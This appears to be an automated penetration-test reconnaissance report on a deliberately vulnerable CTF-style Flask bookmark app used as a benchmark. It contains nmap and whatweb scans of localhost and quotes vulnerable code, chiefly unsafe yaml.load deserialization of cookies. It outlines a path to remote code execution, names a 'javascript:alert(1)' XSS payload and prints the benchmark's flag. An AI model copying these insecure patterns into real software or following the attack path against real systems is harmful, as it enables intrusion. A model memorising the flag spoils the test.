# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-28 11:59 -0700
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000026s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 994 closed tcp ports (conn-refused)
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Caddy httpd
|_http-title: Site doesn't have a title.
|_http-server-header: Caddy
443/tcp   open  ssl/https
|_http-title: Site doesn't have a title.
631/tcp   open  ipp       CUPS 2.3
|_http-title: Home - CUPS 2.3.4
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: CUPS/2.3 IPP/2.1
8888/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
9999/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
49158/tcp open  http      Golang net/http server
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Tue, 28 Oct 2025 19:00:06 GMT
|     Content-Length: 14
|     auth required
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Tue, 28 Oct 2025 18:59:51 GMT
|     Content-Length: 14
|_    auth required
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port49158-TCP:V=7.97%I=7%D=10/28%Time=690112A7%P=arm-apple-darwin24.4.0
SF:%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(GetRequest,192,"HTTP/1\.0\x20401\x20Unauthorized\r\n
SF:Content-Security-Policy:\x20default-src\x20'none';\x20frame-ancestors\x
SF:20'none';\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20scr
SF:ipt-src-attr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nTailscale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-
SF:gec2eb9730\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x2
SF:0DENY\r\nDate:\x20Tue,\x2028\x20Oct\x202025\x2018:59:51\x20GMT\r\nConte
SF:nt-Length:\x2014\r\n\r\nauth\x20required\n")%r(HTTPOptions,192,"HTTP/1\
SF:.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-src\x2
SF:0'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x20scri
SF:pt-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailscale-Ver
SF:sion:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options:\x20n
SF:osniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Tue,\x2028\x20Oct\x20202
SF:5\x2018:59:51\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20required\n
SF:")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnectio
SF:n:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,192,"HTT
SF:P/1\.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x20
SF:script-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailscale
SF:-Version:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options:\
SF:x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Tue,\x2028\x20Oct\x2
SF:02025\x2019:00:06\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20requir
SF:ed\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds


## Subdomain Discovery (subfinder)
Status: success
[object Object]

## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:33677[0m [302 Found] [1mApache[0m[[1m[32m2.4.65[0m], [1mHTML5[0m, [1mHTTPServer[0m[[1m[31mDebian Linux[0m][[1m[36mApache/2.4.65 (Debian)[0m], [1mIP[0m[[0m[22m::1[0m], [1mRedirectLocation[0m[[0m[22m/list[0m], [1mTitle[0m[[1m[33mRedirecting...[0m]
[1m[34mhttp://localhost:33677/list[0m [200 OK] [1mApache[0m[[1m[32m2.4.65[0m], [1mBootstrap[0m, [1mCookies[0m[[0m[22mbookmarks,user[0m], [1mHTML5[0m, [1mHTTPServer[0m[[1m[31mDebian Linux[0m][[1m[36mApache/2.4.65 (Debian)[0m], [1mIP[0m[[0m[22m::1[0m], [1mScript[0m, [1mTitle[0m[[1m[33mHome[0m], [1mUncommonHeaders[0m[[0m[22mpowered-by[0m]

## Code Analysis
# Code Analysis: XBEN-075-24 Bookmark Application - Penetration Testing Intelligence Report

---

# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All subsequent tasks must adhere to this scope. Before reporting any finding (e.g., an entry point, a vulnerability sink), it has been verified to meet the "In-Scope" criteria.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints
- Endpoints requiring authentication via the application's standard login mechanisms
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`)
- A development environment's internal tooling (e.g., a "run script" button in an IDE)
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions)
- Database migration scripts, backup tools, or maintenance utilities
- Local development servers, test harnesses, or debugging utilities
- Static files or scripts that require manual opening in a browser (not served by the application)

---

## 1. Executive Summary

The XBEN-075-24 application is a deliberately vulnerable CTF-style Flask web application that serves as a URL bookmark manager. The application exhibits **CRITICAL** security vulnerabilities centered around **unsafe YAML deserialization** that enables immediate Remote Code Execution (RCE). This vulnerability, combined with missing authentication, insecure session management, and client-side data storage, creates a complete security compromise scenario.

**Critical Attack Path:** The application stores user bookmark data in client-controlled cookies as base64-encoded YAML. Three endpoints (`/list`, `/add`, `/delete`) deserialize this cookie data using `yaml.load()` with the unsafe `yaml.Loader` parameter, which allows arbitrary Python object instantiation. An attacker can craft a malicious YAML payload to execute arbitrary system commands and exfiltrate the FLAG environment variable that represents the security objective.

**Most Critical Attack Surfaces:**
1. **YAML Deserialization RCE** (3 instances) - Immediate code execution via cookie manipulation
2. **Missing Authentication/Authorization** - All endpoints publicly accessible without credentials
3. **JavaScript URL Injection** - XSS via `javascript:` scheme in bookmark URLs
4. **Hardcoded Secrets** - Flask secret key and FLAG exposed in source code
5. **Missing Security Controls** - No CSRF protection, wildcard CORS, insecure cookies

The application's architectural design violates fundamental security principles by placing complete trust in client-provided data, using dangerous deserialization methods, and lacking defense-in-depth mechanisms. The FLAG extraction attack path is straightforward: craft malicious YAML → base64 encode → set as cookie → trigger deserialization → execute code to read `os.environ["FLAG"]`.

---

## 2. Architecture & Technology Stack

### Framework & Language

**Technology:** Python 3.9.2 with Flask 3.1.2 web framework  
**Web Server:** Apache 2.4.65 with mod_wsgi (WSGI gateway)  
**Base Operating System:** Debian Bullseye (11) Slim containerized via Docker  
**Template Engine:** Jinja2 (Flask default)  
**Frontend:** Bootstrap 5.3.0 + jQuery 3.6.0

**Security Implications:**
- **Flask 3.1.2** is a recent version, but the application disables or misconfigures most of Flask's built-in security features
- **No Flask-WTF** (CSRF protection library) in dependencies - all state-changing operations vulnerable to CSRF
- **PyYAML 6.0** is present but used in its most dangerous configuration (`yaml.Loader` instead of `yaml.SafeLoader`)
- **Apache mod_wsgi** runs as `www-data` user - successful RCE gains web server privileges
- **No security-focused dependencies** (no rate limiting, no input validation libraries, no encryption libraries)

**Key Dependencies:**
```
Flask==3.1.2
PyYAML==6.0
Werkzeug==3.1.3
```

**Vulnerability Relevance:**
- PyYAML 6.0 with `yaml.Loader` enables arbitrary object instantiation - **primary attack vector**
- Flask session management not utilized despite secret key being set
- No cryptographic libraries for data protection

### Architectural Pattern

**Pattern Classification:** Stateless Monolithic Web Application with Client-Side Storage

**Architecture Description:**
The application implements a single-tier monolithic architecture where all business logic resides in one Flask application (`/app/website/app/routes.py`). The most security-relevant architectural decision is the complete absence of server-side persistence - all user data is serialized to YAML, base64-encoded, and stored in browser cookies. Each HTTP request deserializes this cookie data to reconstruct the application state.

**Trust Boundary Violations:**
1. **Client-Server Boundary:** The application treats client-provided cookies as trusted data sources, directly deserializing them without signature verification or integrity checks
2. **Data Integrity Boundary:** No separation between "trusted system data" and "untrusted user input" - cookies contain both user identifiers and serialized data objects
3. **Code Execution Boundary:** YAML deserialization allows client-controlled data to instantiate arbitrary Python objects, effectively allowing the client to control server-side code execution

**Attack Surface Expansion:**
- **No database layer** means no SQL injection surface, but the alternative (YAML deserialization) is far more dangerous
- **Stateless design** prevents traditional session hijacking but enables complete session forgery
- **Client-side storage** eliminates need for server-side state management but allows unlimited data manipulation
- **Single application tier** means successful exploit grants access to all application functionality and the FLAG environment variable

**Security Architecture Weaknesses:**
- Zero authentication enforcement creates an "open perimeter" model
- No separation between user identification (UUID cookie) and authorization decisions
- Containerization provides minimal isolation since no sensitive backend services exist
- Environment variable storage for FLAG is accessible to RCE exploits

### Critical Security Components

**Authentication Framework:** **NONE PRESENT**
- No login mechanism, user registration, or credential validation
- User identification via auto-generated UUID stored in plaintext cookie
- No password hashing libraries in dependencies
- No OAuth, SSO, or external authentication integration

**Session Management:**
```python
# File: routes.py:42-45
user = uuid4().hex
response.set_cookie('bookmarks', base64.b64encode(b'[]\n').decode('ISO-8859-1'))
response.set_cookie('user', user)
```
- **Critical Flaw:** No `HttpOnly`, `Secure`, or `SameSite` flags on cookies
- Sessions never expire (no `max_age` parameter)
- No server-side session validation or storage
- Complete trust in client-provided `user` cookie value

**Dangerous Deserialization Library:**
```python
# File: routes.py:38, 61, 84 (three instances)
urls = yaml.load(urls, Loader=yaml.Loader)  # UNSAFE
```
- **PyYAML 6.0** with `yaml.Loader` - allows arbitrary Python object construction
- **CWE-502:** Deserialization of Untrusted Data
- **Attack Vector:** Client crafts malicious YAML → Base64 encodes → Sets as cookie → Triggers deserialization
- **Impact:** Remote Code Execution with web server privileges

**Encryption/Cryptography:** **COMPLETELY ABSENT**
- No encryption libraries imported (`cryptography`, `pycryptodome`, `hashlib`)
- Base64 encoding mistakenly used as security mechanism (easily reversible)
- No HTTPS/TLS configuration - all traffic over HTTP port 80
- No cookie encryption or signing beyond Flask's unused session mechanism

**Secret Management:**
```python
# File: __init__.py:5
app.secret_key = 'your_secret_key_'  # Hardcoded default value

# File: __init__.py:8
os.environ["FLAG"] = FLAGFLAGFLAG  # Injected during Docker build
```
- **Flask secret key** is hardcoded placeholder value
- **FLAG** stored in environment variable accessible to any RCE
- `.env` file contains plaintext secret: `FLAG="flag{ed791869-404b-453f-bf8e-86a09040af65}"`
- Secrets embedded in source code during Docker build process

**Security Middleware Stack:** **MINIMAL/INEFFECTIVE**

Present but inadequate:
```python
# File: routes.py:20-26 - Contradictory cache headers
@app.after_request
def add_header(request):
    request.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'  # Line 22
    request.headers['Cache-Control'] = 'public, max-age=0'  # Line 25 - OVERWRITES line 22!
    return request
```

Missing critical security components:
- ❌ No CSRF protection (no tokens, no origin validation)
- ❌ No rate limiting or anti-automation controls
- ❌ No security headers: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, HSTS
- ❌ No input validation middleware
- ❌ No WAF or request filtering
- ❌ Wildcard CORS policy: `Access-Control-Allow-Origin: *` (Apache config line 11)

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

**CRITICAL FINDING: No Authentication System Exists**

The application implements **zero authentication controls**. There are no login endpoints, password validation, credential storage, or user verification mechanisms. Users are identified solely by a randomly generated UUID stored in an unprotected cookie.

**User Identification Method:**
```python
# File: routes.py:42-45
if request.cookies.get('bookmarks') and request.cookies.get('user'):
    # Use existing user ID from cookie
    user = request.cookies.get('user')
else:
    # Generate new UUID for new users
    user = uuid4().hex
    response.set_cookie('user', user)
```

**Endpoints Used for "Authentication" (All Public):**
- ❌ **No `/login` endpoint** - Users never authenticate
- ❌ **No `/logout` endpoint** - No session termination mechanism
- ❌ **No `/register` endpoint** - No account creation process
- ❌ **No `/password-reset` endpoint** - No credential recovery
- ❌ **No API authentication endpoints** - No token generation or validation

**Security Implications:**
1. **Identity Spoofing:** Any user can impersonate another by copying their `user` cookie value
2. **No Accountability:** Cannot track who performed actions since identities are self-asserted
3. **Unlimited Access:** All application functionality available to anonymous users
4. **Session Fixation:** Attackers can force victims to use attacker-chosen UUIDs
5. **No Privilege Escalation Protection:** All users have identical permissions (none)

### Session Management

**Session Cookie Configuration - CRITICAL VULNERABILITIES:**

**Location of Cookie Security Flag Configuration:**
```python
# File: routes.py:44-45 (repeated at lines 68-69 and 88-89)
response.set_cookie('bookmarks', base64.b64encode(bookmarks.encode('ISO-8859-1')).decode('ISO-8859-1'))
response.set_cookie('user', user)
```

**CRITICAL: Session Cookie Flags Are NOT Configured**

The exact file and line where session cookie flags (`HttpOnly`, `Secure`, `SameSite`) **should** be configured but are **missing**:

- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py`
- **Lines:** 44-45, 68-69, 88-89

**Current (Insecure) Implementation:**
```python
# Line 44-45 - /list route
response.set_cookie('bookmarks', base64.b64encode(b'[]\n').decode('ISO-8859-1'))
response.set_cookie('user', user)

# Line 68-69 - /add route  
response.set_cookie('bookmarks', base64.b64encode(bookmarks.encode('ISO-8859-1')).decode('ISO-8859-1'))
response.set_cookie('user', user)

# Line 88-89 - /delete route
response.set_cookie('bookmarks', base64.b64encode(bookmarks.encode('ISO-8859-1')).decode('ISO-8859-1'))
response.set_cookie('user', user)
```

**Missing Security Flags:**
- ❌ **`HttpOnly` flag:** Cookies accessible via JavaScript (`document.cookie`), enabling XSS-based session theft
- ❌ **`Secure` flag:** Cookies transmitted over unencrypted HTTP, vulnerable to network interception
- ❌ **`SameSite` attribute:** No CSRF protection, cookies sent on cross-site requests
- ❌ **`Domain` restriction:** Cookies available to all subdomains
- ❌ **`Path` restriction:** Cookies sent to all application paths
- ❌ **`max_age`/`expires`:** Sessions never expire, stolen cookies valid indefinitely

**Correct (Secure) Implementation Should Be:**
```python
response.set_cookie('bookmarks', value,
    httponly=True,      # Prevent XSS access
    secure=True,        # HTTPS only
    samesite='Strict',  # CSRF protection
    max_age=3600,       # 1-hour expiration
    path='/'            # Limit scope
)
```

**Session Expiration and Renewal:**
- **No expiration mechanism** - sessions persist indefinitely
- **No inactivity timeout** - idle sessions remain valid
- **No session renewal** - tokens never refreshed
- **No logout functionality** - users cannot terminate sessions
- **Attack Window:** Stolen cookies remain valid forever

**Session Invalidation (Logout):**
**FINDING:** No logout mechanism exists. Searched all routes in `routes.py` - no logout endpoint or session termination capability.

**Consequences:**
- Users cannot securely end sessions
- Compromised sessions cannot be revoked
- No way to force re-authentication

### Authorization Model

**CRITICAL FINDING: No Authorization Controls**

The application implements **zero authorization enforcement**. Every endpoint is publicly accessible without permission checks, role validation, or resource ownership verification.

**Endpoint Authorization Analysis:**

| Endpoint | Method | Authorization | Resource Protection | File:Line |
|----------|--------|---------------|---------------------|-----------|
| `/` | GET | ❌ None | N/A | routes.py:28-30 |
| `/list` | GET | ❌ None | ❌ No ownership check | routes.py:32-49 |
| `/add` | GET/POST | ❌ None | ❌ No ownership check | routes.py:51-72 |
| `/delete` | GET | ❌ None | ❌ No ownership check | routes.py:74-92 |
| `/about` | GET | ❌ None | N/A | routes.py:95-99 |

**Permission Bypass Scenarios:**

1. **Resource Ownership Bypass:**
```python
# File: routes.py:74-92 - Delete functionality
url_name = request.args.get('name')
urls = base64.b64decode(request.cookies.get('bookmarks'))
urls = yaml.load(urls, Loader=yaml.Loader)
# NO CHECK: Who owns this bookmark? Can they delete it?
if remove_url_with_name(urls, url_name):
    # Delete succeeds without authorization
```
**Issue:** Users can delete any bookmark in their own cookie without verification, and since cookies are client-controlled, they can manipulate the entire bookmark list.

2. **No Role-Based Access Control (RBAC):**
- No admin vs. regular user distinction
- No privileged operations to protect
- No permission model or role assignments
- All users have identical capabilities

3. **Client-Side Authorization (Anti-Pattern):**
- All authorization "decisions" made by client choosing what data to send
- Server blindly accepts client's bookmark list without validation
- No server-side state to verify resource ownership

**Privilege Escalation Paths:**
- **Not applicable** - there are no privileges to escalate to since all users already have full access

**Multi-Tenancy Security:**
- **Not a multi-tenant system** - each user's data isolated in their own cookies
- However, weak isolation since cookie values can be shared/stolen

### SSO/OAuth/OIDC Flows

**FINDING: No SSO, OAuth, or OIDC Implementation**

**Analysis:**
- ❌ No OAuth callback endpoints (no `/auth/callback`, `/oauth/redirect`, etc.)
- ❌ No state parameter validation code
- ❌ No nonce parameter validation code  
- ❌ No OIDC discovery endpoints
- ❌ No JWKS (JSON Web Key Set) fetchers
- ❌ No token validation logic
- ❌ No external authentication provider integration

**Searched Files:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py` - No OAuth routes
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/__init__.py` - No OAuth library imports
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/requirements.txt` - No OAuth dependencies

**Conclusion:** The application has no integration with external identity providers or modern authentication protocols.

---

## 4. Data Security & Storage

### Database Security

**FINDING: No Database Implementation**

The application uses **zero traditional database systems**. All data persistence is achieved through client-side cookie storage.

**Analysis:**
- ❌ No database connections in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/__init__.py`
- ❌ No SQL/ORM imports in any Python files
- ❌ No database configuration files
- ❌ No `psycopg2`, `pymongo`, `SQLAlchemy`, or other database drivers in requirements.txt
- ❌ No query construction code

**Security Implications:**
- **Positive:** No SQL injection attack surface
- **Negative:** Complete lack of server-side data validation
- **Negative:** No access controls, audit logging, or data integrity verification
- **Negative:** Client-side storage enables unlimited data manipulation

### Data Flow Security

**CRITICAL: Insecure Data Serialization Flow**

**Data Flow Diagram:**
```
[User Browser]
     ↓
  HTTP Request + Cookie: bookmarks=<base64_yaml>
     ↓
[Flask Application: routes.py]
     ↓
  base64.b64decode(cookie['bookmarks'])     # Line 36, 59, 81
     ↓
  yaml.load(decoded, Loader=yaml.Loader)    # Line 38, 61, 84 - VULNERABLE
     ↓
  [UrlObj list in memory]
     ↓
  Process bookmarks (list/add/delete)
     ↓
  yaml.dump(urls)                            # Line 67
     ↓
  base64.b64encode(yaml)                     # Line 68
     ↓
  Set-Cookie: bookmarks=<base64_yaml>
     ↓
[User Browser]
```

**Sensitive Data Flow - FLAG Extraction:**

1. **FLAG Storage:**
```python
# File: __init__.py:8
os.environ["FLAG"] = FLAGFLAGFLAG  # Value injected during Docker build
```

2. **FLAG Source - Build Time:**
```dockerfile
# File: Dockerfile:21-22
ARG FLAG  
RUN sed -i "s/FLAGFLAGFLAG/'$FLAG'/" /var/www/bookmarks/app/__init__.py
```

3. **FLAG Source - Runtime:**
```bash
# File: .env:1
FLAG="flag{ed791869-404b-453f-bf8e-86a09040af65}"
```

**Data Protection Gaps:**
- **No encryption in transit:** HTTP only (Apache config line 1: `<VirtualHost *:80>`)
- **No encryption at rest:** Base64 encoding is not encryption
- **No integrity verification:** Cookies lack HMAC signatures or checksums
- **No data validation:** Direct deserialization without schema validation
- **No size limits:** Cookie data can grow unbounded

**PII Handling:**
- User UUIDs stored in plaintext cookies
- Bookmark URLs (potentially sensitive) stored client-side
- No data minimization or anonymization

### Multi-Tenant Data Isolation

**FINDING: Not Applicable (Single-User-Per-Cookie Model)**

**Analysis:**
- Not a true multi-tenant architecture
- Each user's data isolated in their own browser cookies
- No shared database or cross-user access points
- However, weak isolation since cookies can be intercepted/shared

**Potential Cross-Tenant Risks:**
- Users on shared computers can access each other's cookies
- XSS attacks could steal cookies across "tenants" (users)
- No server-side enforcement of data isolation

---

## 5. Attack Surface Analysis

### External Entry Points (Network-Accessible)

**Total Network-Accessible Endpoints: 6**

All identified entry points have been verified as **IN-SCOPE** (network-reachable via HTTP requests in deployed environment).

#### **Endpoint 1: Root Redirect**
- **Route:** `GET /`
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:28-30`
- **Authentication Required:** No
- **Function:** Redirects to `/list` endpoint
- **Input Vectors:** None
- **Security Relevance:** Entry point to main application
- **Attack Surface:** Minimal (redirect only)

```python
@app.route('/')
def index():
    return redirect(url_for('bookmarks_list'))
```

#### **Endpoint 2: List Bookmarks - CRITICAL DESERIALIZATION SINK**
- **Route:** `GET /list`
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:32-49`
- **Authentication Required:** No (publicly accessible)
- **Function:** Displays user's bookmarked URLs
- **Input Vectors:**
  - **Cookie:** `bookmarks` (Base64-encoded YAML) - **ATTACKER-CONTROLLED**
  - **Cookie:** `user` (UUID hex string) - **ATTACKER-CONTROLLED**
- **CRITICAL VULNERABILITY - Line 38:**
```python
urls = yaml.load(urls, Loader=yaml.Loader)  # Unsafe deserialization
```
- **Attack Surface:** **HIGHEST PRIORITY**
  - Malicious YAML payload in cookie → RCE
  - No input validation before deserialization
  - Direct code execution capability

#### **Endpoint 3: Add Bookmark - CRITICAL DESERIALIZATION + INJECTION SINK**
- **Route:** `GET /add` (form display), `POST /add` (form submission)
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:51-72`
- **Authentication Required:** No
- **Function:** Displays form (GET) or processes new bookmark (POST)
- **Input Vectors:**
  - **POST Form Data:** `name` (text) - **NO VALIDATION**
  - **POST Form Data:** `url` (URL) - **NO VALIDATION**
  - **Cookie:** `bookmarks` (Base64-encoded YAML) - **ATTACKER-CONTROLLED**
  - **Cookie:** `user` (UUID hex string) - **ATTACKER-CONTROLLED**
- **CRITICAL VULNERABILITIES:**
  - **Line 57-58:** No input validation on form parameters
  - **Line 61:** Unsafe YAML deserialization (same as Endpoint 2)
- **Attack Surface:** **HIGHEST PRIORITY**
  - XSS via malicious URLs (`javascript:alert(1)`)
  - YAML deserialization RCE via cookie
  - CSRF (no token protection)
  - Parameter injection in bookmark names

#### **Endpoint 4: Delete Bookmark - CRITICAL DESERIALIZATION SINK**
- **Route:** `GET /delete?name=<bookmark_name>`
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:74-92`
- **Authentication Required:** No
- **Function:** Removes bookmark from user's list
- **Input Vectors:**
  - **Query Parameter:** `name` (bookmark name to delete) - **NO VALIDATION**
  - **Cookie:** `bookmarks` (Base64-encoded YAML) - **ATTACKER-CONTROLLED**
  - **Cookie:** `user` (UUID hex string) - **ATTACKER-CONTROLLED**
- **CRITICAL VULNERABILITY - Line 84:**
```python
urls = yaml.load(urls, Loader=yaml.Loader)  # Unsafe deserialization
```
- **Attack Surface:** **HIGHEST PRIORITY**
  - YAML deserialization RCE via cookie
  - Logic manipulation via query parameter
  - CSRF (GET request for state change)

#### **Endpoint 5: About Page**
- **Route:** `GET /about`
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:95-99`
- **Authentication Required:** No
- **Function:** Displays static about page
- **Input Vectors:** None
- **Attack Surface:** Minimal (static content)

#### **Endpoint 6: Static File Serving**
- **Route:** `/static/*`
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/bookmarks-httpd.conf:20-25`
- **Authentication Required:** No
- **Function:** Serves CSS, JavaScript, images
- **Files Served:**
  - `/static/css/bootstrap.min.css` - Bootstrap 5.3.0
  - `/static/css/style.css` - Custom styles
  - `/static/js/bootstrap.bundle.min.js`
  - `/static/js/jquery.min.js` - jQuery 3.6.0
- **Attack Surface:**
  - **Directory listing enabled:** `Options Indexes MultiViews` (line 22)
  - Information disclosure of file structure
  - Potential for file enumeration

### Internal Service Communication

**FINDING: No Internal Service Communication**

**Analysis:**
- Single monolithic application (no microservices)
- No inter-service API calls
- No message queues or pub/sub systems
- No service mesh or internal networking

**Trust Relationships:**
- Only trust relationship is between Apache (mod_wsgi) and Flask application
- Both run in same Docker container as `www-data` user
- No network-level service isolation

### Input Validation Patterns

**CRITICAL FINDING: Minimal to No Input Validation**

**Analysis Across All Endpoints:**

1. **Cookie Input - NO VALIDATION:**
```python
# File: routes.py:36-38
urls = request.cookies.get('bookmarks')
urls = base64.b64decode(request.cookies.get('bookmarks'))
urls = yaml.load(urls, Loader=yaml.Loader)  # DIRECT DESERIALIZATION
```
- No schema validation
- No size limits
- No type checking
- No sanitization

2. **Form Input - NO VALIDATION:**
```python
# File: routes.py:57-58
name = request.form.get('name')  # No length limit, character validation
url = request.form.get('url')    # No URL format validation, allows javascript:
```
- HTML5 `type="url"` in browser provides minimal client-side validation only
- Server accepts any string values
- No whitelist/blacklist of URL schemes
- No length restrictions

3. **Query Parameter Input - NO VALIDATION:**
```python
# File: routes.py:80
url_name = request.args.get('name')  # No sanitization
```
- Used directly in deletion logic
- No validation against injection attacks

**Validation Present (Minimal):**
```python
# File: routes.py:62-63 - Only duplicate name check
if name_in_list(urls, name):
    return render_template('add.html', error='Name already used')
```

**Missing Input Validation:**
- ❌ No URL scheme whitelist (allows `javascript:`, `data:`, `file:`)
- ❌ No character encoding validation
- ❌ No length limits on any inputs
- ❌ No special character filtering
- ❌ No YAML structure validation
- ❌ No cookie size limits
- ❌ No rate limiting or request throttling

### Background Processing

**FINDING: No Background Job Processing**

**Analysis:**
- No asynchronous job queues (Celery, RQ, etc.)
- No scheduled tasks or cron jobs
- No background workers
- All processing synchronous within HTTP request/response cycle

**Security Implications:**
- No delayed execution vulnerabilities
- No job queue poisoning attack surface
- However, YAML deserialization could spawn background processes via RCE

---

## 6. Infrastructure & Operational Security

### Secrets Management

**CRITICAL FINDING: Hardcoded Secrets and Insecure Storage**

**Flask Secret Key - Hardcoded Default:**
```python
# File: __init__.py:5
app.secret_key = 'your_secret_key_'  # Change this to a secure secret key
```
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/__init__.py:5`
- **Issue:** Placeholder value never changed for production
- **Impact:** Flask session cookies (if used) would be forgeable
- **Exposure:** Committed to version control

**FLAG Secret - Multiple Exposure Points:**

1. **Environment File (Plaintext):**
```bash
# File: .env:1
FLAG="flag{ed791869-404b-453f-bf8e-86a09040af65}"
```
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/.env:1`
- **Issue:** Secret in plaintext, likely committed to version control

2. **Docker Build Argument:**
```dockerfile
# File: Dockerfile:21-22
ARG FLAG  
RUN sed -i "s/FLAGFLAGFLAG/'$FLAG'/" /var/www/bookmarks/app/__init__.py
```
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/Dockerfile:21-22`
- **Issue:** Secret injected at build time, exposed in Docker layer history

3. **Environment Variable (Runtime):**
```python
# File: __init__.py:8
os.environ["FLAG"] = FLAGFLAGFLAG
```
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/__init__.py:8`
- **Issue:** Accessible to any code execution exploit (YAML deserialization RCE)

**Secret Rotation:**
- ❌ No secret rotation mechanisms
- ❌ No secret expiration policies
- ❌ No secret versioning

**Secret Management Best Practices Violated:**
- No HashiCorp Vault, AWS Secrets Manager, or similar
